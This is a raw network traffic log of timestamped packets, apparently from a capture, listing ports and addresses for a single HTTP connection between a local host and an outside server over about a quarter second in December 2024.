Dec 23, 2024 06:54:26.784744978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.784778118 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.784804106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.785691023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.785747051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.785789013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.785829067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.786890030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.786902905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.786942005 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.787940979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.787954092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.787992954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.788964033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.789030075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.789093971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.789149046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.790061951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.790122032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.790209055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.790258884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.791126013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.791188002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.791210890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.791258097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.792195082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.792279959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.792349100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.793272972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.793335915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.793379068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.793423891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.794334888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.794378996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.794382095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.794420004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.795507908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.795521021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.795566082 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.796504974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.796524048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.796556950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.796597004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.797547102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.797597885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.797640085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.797681093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.798579931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.798628092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.798913002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.798962116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.799660921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.799715996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.799804926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.799890041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.800793886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.800868034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.801002026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.801042080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.801826954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.801867962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.801909924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.801947117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.802895069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.802946091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.802989006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.803056955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.804033041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.804080009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.804089069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.804131031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.805140972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.805154085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.805258036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.806204081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.806216002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.806257963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.806286097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.807229042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.807276964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.807348967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.807385921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.808252096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.808306932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.808372974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.808414936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.809322119 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.809371948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.809564114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.809606075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.810585022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.810597897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.810622931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.810642958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.811533928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.811575890 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.811578035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.811614037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.812597036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.812637091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.812639952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.812675953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.813755989 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.813795090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.813890934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.813927889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.814750910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.814804077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.814835072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.814872980 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.815778971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.815823078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.815872908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.815911055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.816855907 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.816904068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.816992998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.817028999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.818059921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.818072081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.818111897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.819029093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.819080114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.819112062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.819149017 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.820100069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.820144892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.820209026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.820245981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.821271896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.821285009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.821316957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.821338892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.822232008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.822272062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.822495937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.822534084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.823311090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.823373079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.823441029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.823487997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.824412107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.824453115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.824462891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.824497938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.825470924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.825514078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.825541973 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.825581074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.826551914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.826622963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.826697111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.826739073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.827608109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.827646971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.827702999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.827750921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.828739882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.828758001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.828804970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.828823090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.829750061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.829796076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.829817057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.829850912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.830810070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.830871105 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.830910921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.830949068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.831933975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.831983089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.967816114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.967829943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.967964888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.968288898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.968348026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.968471050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.968519926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.969355106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.969420910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.969445944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.969490051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.970432043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.970478058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.970479965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.970515013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.971570969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.971616983 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.971683025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.971723080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.972563982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.972609997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.972704887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.972754955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.973633051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.973675013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.973774910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.973815918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.974745035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.974792004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.974896908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.974945068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.975809097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.975856066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.975891113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.975925922 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.976934910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.976983070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.977000952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.977035046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.977912903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.977962971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.978008986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.978046894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.979091883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.979136944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.979172945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.979212999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.980102062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.980145931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.980185032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.980217934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.981141090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.981188059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.981270075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.981312037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.982244015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.982336998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.982361078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.982407093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.983350992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.983398914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.983441114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.983481884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.984379053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.984426022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.984481096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.984520912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.985449076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.985493898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.985527992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.985563993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.986510992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.986567020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.986607075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.986648083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.987575054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.987634897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.987673998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.987709999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.988663912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.988709927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.988770008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.988806009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.989778996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.989824057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.989937067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.989979029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.990854025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.990905046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.990972042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.991013050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.991961956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.992007017 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.992019892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.992053986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.992958069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.993004084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.993139029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.993180037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.994064093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.994106054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.994133949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.994169950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.995124102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.995171070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.995235920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.995279074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.996195078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.996241093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.996280909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.996323109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.997251034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.997297049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.997347116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.997387886 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.998333931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.998384953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.998461962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.998507023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.999456882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.999507904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.999552965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.999622107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.000494957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.000544071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.000577927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.000616074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.001584053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.001641035 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.001671076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.001703024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.002764940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.002820969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.002847910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.002883911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.003802061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.003813982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.003873110 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.004822969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.004878044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.004887104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.004921913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.005866051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.005914927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.005937099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.005971909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.006963015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.007011890 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.007029057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.007062912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.007989883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.008038044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.008078098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.008119106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.009059906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.009130001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.009193897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.009234905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.010198116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.010262012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.010265112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.010297060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.011208057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.011267900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.011276960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.011320114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.012361050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.012432098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.012433052 CET	80	49889	185.215.113.206	192.168.2.6
